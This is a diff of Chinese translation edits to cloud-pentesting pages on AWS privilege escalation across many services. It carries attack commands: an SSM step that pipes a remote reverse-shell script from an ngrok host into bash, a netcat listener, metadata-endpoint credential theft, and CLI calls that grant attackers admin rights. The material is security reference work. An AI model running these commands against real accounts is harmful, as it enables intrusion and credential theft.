get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 @@ -46,7 +46,7 @@ aws redshift modify-cluster –cluster-identifier > [!WARNING] > 要访问以下所有资源,您需要**指定要使用的角色**。一个 Redshift 集群**可以分配一系列 AWS 角色**,如果您知道 ARN,您可以使用这些角色,或者您可以设置“**default**”以使用分配的默认角色。 -> 此外,正如[**这里解释的**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html),Redshift 还允许连接角色(只要第一个角色可以假设第二个角色)以获得进一步的访问,但只需用**逗号**分隔它们:`iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> 此外,正如[**这里解释的**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html),Redshift 还允许连接角色(只要第一个角色可以假设第二个角色)以获得进一步的访问,但只需用**逗号**分隔它们: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas @@ -60,7 +60,7 @@ IAM_ROLE default; ``` ### S3 -正如在 [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) 中所解释的,可以**读取和写入 S3 存储桶**: +如[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html)中所述,可以**读取和写入S3桶**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -86,7 +86,7 @@ iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ### EMR -查看 [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +检查 [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0907b383b..3d1d231b2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ ] } ``` -并且劫持是可能的,因为从**模板上传**到存储桶的那一刻到**模板部署**的那一刻之间有一个**小的时间窗口**。攻击者可能只需在他的账户中创建一个**lambda function**,当发送存储桶通知时将**触发**,并**劫持**该**存储桶**的**内容**。 +劫持是可能的,因为从**模板上传**到存储桶的那一刻到**模板部署**的那一刻之间有一个**小的时间窗口**。攻击者可能只需在他的账户中创建一个**lambda function**,当发送存储桶通知时将**触发**,并**劫持**该**存储桶**的**内容**。 ![](<../../../images/image (174).png>) @@ -43,12 +43,12 @@ Pacu模块 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/ ### `s3:PutObject`, `s3:GetObject` -这些是**获取和上传对象到 S3**的权限。AWS内部(以及外部)的多个服务使用S3存储来存储**配置文件**。\ +这些是**获取和上传对象到S3**的权限。AWS内部(以及外部)的多个服务使用S3存储来存储**配置文件**。\ 具有**读取访问权限**的攻击者可能会在其中找到**敏感信息**。\ 具有**写入访问权限**的攻击者可以**修改数据以滥用某些服务并尝试提升权限**。\ 以下是一些示例: -- 如果EC2实例将**用户数据存储在S3存储桶中**,攻击者可以修改它以**在EC2实例内部执行任意代码**。 +- 如果EC2实例将**用户数据存储在S3存储桶**中,攻击者可以修改它以**在EC2实例内执行任意代码**。 ### `s3:PutBucketPolicy` @@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ``` -导航到浏览器中的 URL,点击右上角的 \`Open JupyterLab\`,然后向下滚动到“Launcher”选项卡,在“Other”部分,点击“Terminal”按钮。 +导航到 URL 并在浏览器中点击右上角的 \`Open JupyterLab\`,然后向下滚动到“Launcher”选项卡,在“Other”部分,点击“Terminal”按钮。 现在可以访问 IAM 角色的元数据凭证。 @@ -25,7 +25,7 @@ aws sagemaker create-presigned-notebook-instance-url \ ### `sagemaker:CreatePresignedNotebookInstanceUrl` -如果已经有 Jupyter **笔记本正在运行**,并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们(或以其他方式发现它们)。您可以 **为它们生成一个 URL,访问它们,并窃取凭证,如前面技术所示**。 +如果已经在上面运行 Jupyter **notebooks**,并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们(或以其他方式发现它们)。您可以 **为它们生成一个 URL,访问它们,并窃取凭证,如前面所述的技术所示**。 ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -52,13 +52,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c 拥有这些权限的攻击者将能够创建一个训练作业,**在其上运行任意容器**,并附加一个**角色**。因此,攻击者将能够窃取该角色的凭证。 > [!WARNING] -> 这个场景比前一个更难以利用,因为你需要生成一个 Docker 镜像,该镜像将直接将 rev shell 或凭证发送给攻击者(你无法在训练作业的配置中指定启动命令)。 +> 这个场景比之前的更难以利用,因为你需要生成一个 Docker 镜像,该镜像将直接将反向 shell 或凭证发送给攻击者(你无法在训练作业的配置中指示启动命令)。 > > ```bash > # 创建 docker 镜像 > mkdir /tmp/rev > ## 注意训练作业将调用一个名为 "train" 的可执行文件 -> ## 这就是我将 rev shell 放在 /bin/train 的原因 +> ## 这就是我将反向 shell 放在 /bin/train 的原因 > ## 设置 的值 > cat > /tmp/rev/Dockerfile < FROM ubuntu @@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -拥有这些权限的攻击者将(潜在地)能够创建一个 **超参数训练作业**,**在其上运行任意容器**,并附加一个 **角色**。\ +拥有这些权限的攻击者将(可能)能够创建一个 **超参数训练作业**,**在其上运行一个任意容器**,并附加一个 **角色**。\ &#xNAN;_I 由于时间不足尚未进行利用,但看起来与之前的利用相似,欢迎发送 PR 以提供利用细节。_ ## 参考 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index e8d6084c8..3c48c779b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -12,7 +12,7 @@ ### `secretsmanager:GetSecretValue` -拥有此权限的攻击者可以获取 AWS **Secretsmanager** 中 **秘密内保存的值**。 +具有此权限的攻击者可以获取 AWS **Secretsmanager** 中 **秘密内保存的值**。 ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 969f7200b..61cfbbf18 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -16,11 +16,11 @@ ```bash aws sns publish --topic-arn --message ``` -**潜在影响**:漏洞利用,数据损坏,意外操作或资源耗尽。 +**潜在影响**:漏洞利用、数据损坏、意外操作或资源耗尽。 ### `sns:Subscribe` -攻击者可以订阅SNS主题,可能获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。 +攻击者可以订阅SNS主题,从而可能获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。 ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -28,10 +28,10 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -攻击者可以授予未经授权的用户或服务访问SNS主题的权限,从而可能获得进一步的权限。 +攻击者可能会授予未经授权的用户或服务访问SNS主题的权限,从而可能获得进一步的权限。 ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**潜在影响**:未经授权访问主题、消息暴露或未经授权用户或服务对主题的操控,干扰依赖于该主题的应用程序的正常功能。 +**潜在影响**:未经授权的用户或服务对主题的未经授权访问、消息暴露或主题操控,干扰依赖于该主题的应用程序的正常功能。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 3439c0865..2b759a9d1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -12,7 +12,7 @@ ### `sqs:AddPermission` -攻击者可以利用此权限通过创建新策略或修改现有策略来授予未经授权的用户或服务访问SQS队列的权限。这可能导致未经授权的访问队列中的消息或未经授权的实体对队列的操控。 +攻击者可以利用此权限通过创建新策略或修改现有策略来授予未经授权的用户或服务访问SQS队列的权限。这可能导致对队列中消息的未经授权访问或未经授权实体对队列的操控。 ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` @@ -20,7 +20,7 @@ cssCopy codeaws sqs add-permission --queue-url --actions --aws-a ### `sqs:SendMessage` , `sqs:SendMessageBatch` -攻击者可以向 SQS 队列发送恶意或不需要的消息,可能导致数据损坏、触发意外操作或耗尽资源。 +攻击者可能会向 SQS 队列发送恶意或不需要的消息,可能导致数据损坏、触发意外操作或耗尽资源。 ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 84af36044..21e15773f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -在您使用此技术在已被攻陷的 EC2 实例中提升权限的情况下,您可以通过以下方式在本地捕获 rev shell: +如果您使用此技术在已被攻陷的 EC2 实例中提升权限,您可以通过以下方式在本地捕获反向 shell: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -52,14 +52,14 @@ aws ssm start-session --target "$INSTANCE_ID" #### 提升权限到 ECS 当 **ECS 任务** 以 **`ExecuteCommand` 启用** 运行时,具有足够权限的用户可以使用 `ecs execute-command` 在容器内 **执行命令**。\ -根据 [**文档**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/),这是通过在您用来启动“_exec_”命令的设备与目标容器之间创建安全通道来完成的,使用 SSM Session Manager。(SSM Session Manager Plugin 是此功能正常工作的必要条件)\ -因此,具有 `ssm:StartSession` 权限的用户将能够通过运行以下命令 **在启用该选项的 ECS 任务中获取 shell**: +根据 [**文档**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/),这是通过在您用来启动“_exec_”命令的设备与目标容器之间创建安全通道来完成的,使用 SSM Session Manager。(需要 SSM Session Manager Plugin 才能正常工作)\ +因此,具有 `ssm:StartSession` 的用户将能够通过运行该选项启用的命令 **获取 ECS 任务内的 shell**。 ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**潜在影响:** 直接提升权限到附加到运行任务的 `ECS` IAM 角色,且该任务启用了 `ExecuteCommand`。 +**潜在影响:** 直接提升权限到附加到运行任务的 `ECS` IAM 角色,这些任务启用了 `ExecuteCommand`。 ### `ssm:ResumeSession` @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**潜在影响:** 直接提升权限到附加到运行实例的 EC2 IAM 角色,这些实例运行着 SSM 代理并且有断开的会话。 +**潜在影响:** 直接提升权限到附加到运行实例的 EC2 IAM 角色,这些实例运行着 SSM Agents 并且有断开的会话。 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -93,7 +93,7 @@ aws ssm list-commands ``` **潜在影响:** 在命令行中查找敏感信息。 -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) +### `ssm:GetCommandInvocation`,(`ssm:ListCommandInvocations` | `ssm:ListCommands`) 拥有这些权限的攻击者可以列出所有发送的 **命令** 并 **读取生成的输出**,希望能找到 **敏感信息**。 ```bash @@ -103,7 +103,7 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**潜在影响:** 在命令行输出中查找敏感信息。 +**潜在影响:** 在命令行输出中找到敏感信息。 ### Codebuild diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index d882ef897..91e581fd8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -11,8 +11,8 @@ {{#endref}} > [!WARNING] -> 请注意,**默认情况下**,只有来自 **管理账户** 的 **用户** 才能访问和 **控制 IAM Identity Center**。\ -> 其他账户的用户只能在该账户是 **委托管理员** 的情况下允许。\ +> 请注意,**默认情况下**,只有来自 **管理账户** 的 **用户** 具有访问和 **控制 IAM Identity Center** 的权限。\ +> 其他账户的用户只能在该账户是 **委托管理员** 的情况下获得权限。\ > [查看文档以获取更多信息。](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~重置密码~~ @@ -21,13 +21,13 @@ ### `identitystore:CreateGroupMembership` -拥有此权限后,可以将用户设置在组内,以便他将继承该组的所有权限。 +拥有此权限后,可以将用户设置在组内,从而继承该组的所有权限。 ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -拥有此权限的攻击者可以向授予其控制下用户的权限集授予额外权限。 +拥有此权限的攻击者可以向其控制下的用户授予的权限集授予额外权限。 ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -60,7 +60,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -拥有此权限的攻击者可以向授予其控制下用户的权限集授予额外权限。 +拥有此权限的攻击者可以向其控制下的用户授予的权限集添加额外权限。 > [!WARNING] > 在这种情况下,滥用这些权限需要知道**在所有将受到影响的账户中存在的客户管理策略的名称**。 @@ -87,25 +87,25 @@ aws sso get-role-credentials --role-name --account-id --access-t ### `sso:DetachManagedPolicyFromPermissionSet` -拥有此权限的攻击者可以删除指定权限集与AWS托管策略之间的关联。通过**分离托管策略(拒绝策略)**,可以授予更多权限。 +具有此权限的攻击者可以删除指定权限集与 AWS 管理策略之间的关联。通过**分离管理策略(拒绝策略)**,可以授予更多权限。 ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -拥有此权限的攻击者可以删除指定权限集与客户管理策略之间的关联。通过**分离管理策略(拒绝策略)**,可以授予更多权限。 +具有此权限的攻击者可以删除指定权限集与客户管理策略之间的关联。通过**分离管理策略(拒绝策略)**,可以授予更多权限。 ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -拥有此权限的攻击者可以从权限集的内联策略中删除权限。通过分离内联策略(拒绝策略),可以授予**更多权限**。 +拥有此权限的攻击者可以从权限集的内联策略中删除权限。通过解除内联策略(拒绝策略),可以授予**更多权限**。 ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -拥有此权限的攻击者可以从权限集删除权限边界。通过删除权限边界施加的限制,可以授予**更多权限**。 +拥有此权限的攻击者可以从权限集删除权限边界。通过删除权限边界对权限集的限制,可以授予**更多权限**。 ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 3b3080999..65a91624b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -10,7 +10,7 @@ ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### 任务资源 这些权限提升技术将需要使用一些 AWS 步骤函数资源,以执行所需的权限提升操作。 @@ -25,7 +25,7 @@ ### `states:TestState` & `iam:PassRole` -拥有 **`states:TestState`** 和 **`iam:PassRole`** 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它,而无需创建或更新现有的状态机,从而可能使其他 AWS 服务的角色权限获得未经授权的访问。结合起来,这些权限可能导致广泛的未经授权的操作,从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。 +拥有 **`states:TestState`** 和 **`iam:PassRole`** 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它,而无需创建或更新现有的状态机,从而可能启用对其他 AWS 服务的未经授权访问。结合起来,这些权限可能导致广泛的未经授权的操作,从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。 ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` @@ -42,7 +42,7 @@ aws states test-state --definition --role-arn [--input ] "End": true } ``` -- **命令** 执行以进行权限提升: +- **执行的命令**以进行权限提升: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -拥有 **`states:CreateStateMachine`** 和 **`iam:PassRole`** 的攻击者将能够创建状态机并为其提供任何 IAM 角色,从而使其能够未经授权地访问其他 AWS 服务的角色权限。与之前的权限提升技术 (**`states:TestState`** & **`iam:PassRole`**) 相比,这种技术本身并不执行,您还需要拥有 **`states:StartExecution`** 或 **`states:StartSyncExecution`** 权限 (**`states:StartSyncExecution`** 对于标准工作流 **不可用**,**仅适用于表达状态机**) 以便启动状态机的执行。 +拥有 **`states:CreateStateMachine`** 和 **`iam:PassRole`** 的攻击者将能够创建状态机并为其提供任何 IAM 角色,从而使其能够未经授权地访问其他 AWS 服务的角色权限。与之前的特权提升技术 (**`states:TestState`** 和 **`iam:PassRole`**) 相比,这种方法本身并不执行,您还需要拥有 **`states:StartExecution`** 或 **`states:StartSyncExecution`** 权限 (**`states:StartSyncExecution`** 对于标准工作流 **不可用**,**仅适用于表达状态机**) 以便启动状态机的执行。 ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -134,21 +134,21 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 > [!WARNING] > 攻击者控制的 S3 存储桶应具有接受来自受害者账户的 s3:PutObject 操作的权限。 -**潜在影响**:未经授权的工作流执行和操作以及对敏感资源的访问,可能导致重大安全漏洞。 +**潜在影响**:未经授权的工作流执行和操控以及对敏感资源的访问,可能导致重大的安全漏洞。 -### `states:UpdateStateMachine` & (不总是需要) `iam:PassRole` +### `states:UpdateStateMachine` 和 (不总是需要) `iam:PassRole` 拥有 **`states:UpdateStateMachine`** 权限的攻击者将能够修改状态机的定义,能够添加额外的隐蔽状态,这可能导致特权提升。这样,当合法用户启动状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。 -根据与状态机关联的 IAM 角色的权限程度,攻击者将面临两种情况: +根据与状态机关联的 IAM 角色的权限宽松程度,攻击者将面临两种情况: -1. **宽松的 IAM 角色**:如果与状态机关联的 IAM 角色已经是宽松的(例如,附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略),那么不需要 **`iam:PassRole`** 权限来提升特权,因为不需要更新 IAM 角色,仅状态机定义就足够。 +1. **宽松的 IAM 角色**:如果与状态机关联的 IAM 角色已经是宽松的(例如,它附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略),那么为了提升特权,**`iam:PassRole`** 权限将不是必需的,因为不需要更新 IAM 角色,仅状态机定义就足够。 2. **不宽松的 IAM 角色**:与前一种情况相反,在这里攻击者还需要 **`iam:PassRole`** 权限,因为除了修改状态机定义外,还需要将一个宽松的 IAM 角色与状态机关联。 ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -以下示例展示了如何更新一个合法的状态机,该状态机仅调用一个 HelloWorld Lambda 函数,以添加一个额外的状态,将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM 组。这样,当合法用户启动更新后的状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。 +以下示例展示了如何更新一个合法的状态机,该状态机仅调用一个 HelloWorld Lambda 函数,以添加一个额外的状态,将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM 组。这样,当一个合法用户启动更新后的状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。 > [!WARNING] > 如果状态机没有关联一个宽松的 IAM 角色,则还需要 **`iam:PassRole`** 权限来更新 IAM 角色,以便关联一个宽松的 IAM 角色(例如,附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色)。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 823107033..a82e620d3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -8,7 +8,7 @@ 每个角色都创建了一个 **角色信任策略**,该策略指示 **谁可以假设创建的角色**。如果来自 **同一账户** 的角色表示某个账户可以假设它,这意味着该账户将能够访问该角色(并可能进行 **privesc**)。 -例如,以下角色信任策略表明任何人都可以假设它,因此 **任何用户都将能够进行 privesc** 到与该角色相关的权限。 +例如,以下角色信任策略指示任何人都可以假设它,因此 **任何用户都将能够 privesc** 到与该角色相关的权限。 ```json { "Version": "2012-10-17", @@ -23,7 +23,7 @@ ] } ``` -您可以通过运行以下命令来模拟一个角色: +您可以模拟一个角色运行: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` @@ -31,7 +31,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname > [!CAUTION] > 请注意,在这种情况下,权限 `sts:AssumeRole` 需要在 **被滥用的角色中指明**,而不是在攻击者的策略中。\ -> 除此之外,为了 **从不同账户假设角色**,攻击者账户 **还需要** 对该角色拥有 **`sts:AssumeRole`** 权限。 +> 除此之外,为了 **从不同账户假设角色**,攻击者账户 **也需要** 对该角色拥有 **`sts:AssumeRole`** 权限。 ### **`sts:GetFederationToken`** @@ -39,7 +39,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ```bash aws sts get-federation-token --name ``` -这是如何安全地授予此权限而不允许访问冒充其他用户的: +这是如何安全地授予此权限而不允许访问其他用户的身份: ```json { "Version": "2012-10-17", @@ -55,7 +55,7 @@ aws sts get-federation-token --name ``` ### `sts:AssumeRoleWithSAML` -一个包含此角色的信任策略授予**通过 SAML 认证的用户访问以假冒该角色的权限。** +带有此角色的信任策略授予**通过 SAML 认证的用户模拟该角色的权限。** 具有此权限的信任策略示例如下: ```json @@ -78,21 +78,21 @@ aws sts get-federation-token --name ] } ``` -要生成凭证以模拟角色,通常可以使用以下内容: +要生成凭证以模拟角色,您可以使用类似以下内容: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -但 **提供商** 可能有他们 **自己的工具** 来简化这一过程,比如 [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +但是 **providers** 可能有他们 **自己的工具** 来简化这个过程,比如 [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` -**潜在影响:** 提升到角色。 +**潜在影响:** 提权到角色。 ### `sts:AssumeRoleWithWebIdentity` -此权限允许为**已在移动、Web 应用程序、EKS...中经过身份验证的用户**获取一组临时安全凭证,使用网络身份提供者。[在这里了解更多。](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +此权限允许为**已在移动、Web 应用程序、EKS...中经过身份验证的用户**获取一组临时安全凭证,使用一个 Web 身份提供者。[在这里了解更多。](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -例如,如果一个**EKS 服务账户**应该能够**模拟一个 IAM 角色**,它将在**`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`**中拥有一个令牌,并可以通过执行类似的操作**假设角色并获取凭证**: +例如,如果一个**EKS 服务账户**应该能够**模拟一个 IAM 角色**,它将在**`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`**中拥有一个令牌,并且可以通过执行类似的操作**假设角色并获取凭证**: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index f1ddf608d..6dfe47f48 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` 这些文件可能包含敏感信息,请阅读它们: ```bash @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -如果您没有权限读取某些内容,您可以直接授予它 +如果您没有权限读取某些内容,您可以直接授予它。 ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -38,9 +38,9 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -您可以通过将用户设置在组 ZOCALO_ADMIN 中来使其成为管理员。\ +您可以通过将用户设置在 ZOCALO_ADMIN 组中来使其成为管理员。\ 为此,请按照 [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) 中的说明进行操作。 使用该用户登录 workdoc,并在 `/workdocs/index.html#/admin` 中访问管理面板。 -我没有找到任何通过 CLI 执行此操作的方法。 +我没有找到通过 cli 执行此操作的方法。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 31f58fb61..5bbb2e0da 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -更多信息关于 EventBridge Scheduler 在: +更多关于 EventBridge Scheduler 的信息在: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -拥有这些权限的攻击者将能够 **`创建`|`更新`一个调度程序并滥用附加到它的调度程序角色的权限** 来执行任何操作 +拥有这些权限的攻击者将能够 **`create`|`update` 一个调度程序并滥用附加到它的调度程序角色的权限** 来执行任何操作 例如,他们可以配置调度以 **调用一个 Lambda 函数**,这是一个模板化的操作: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 4e8f2f1a0..27bfa9f2b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -1,8 +1,8 @@ -# AWS - Route53 Privesc +# AWS - Route53 权限提升 {{#include ../../../banners/hacktricks-training.md}} 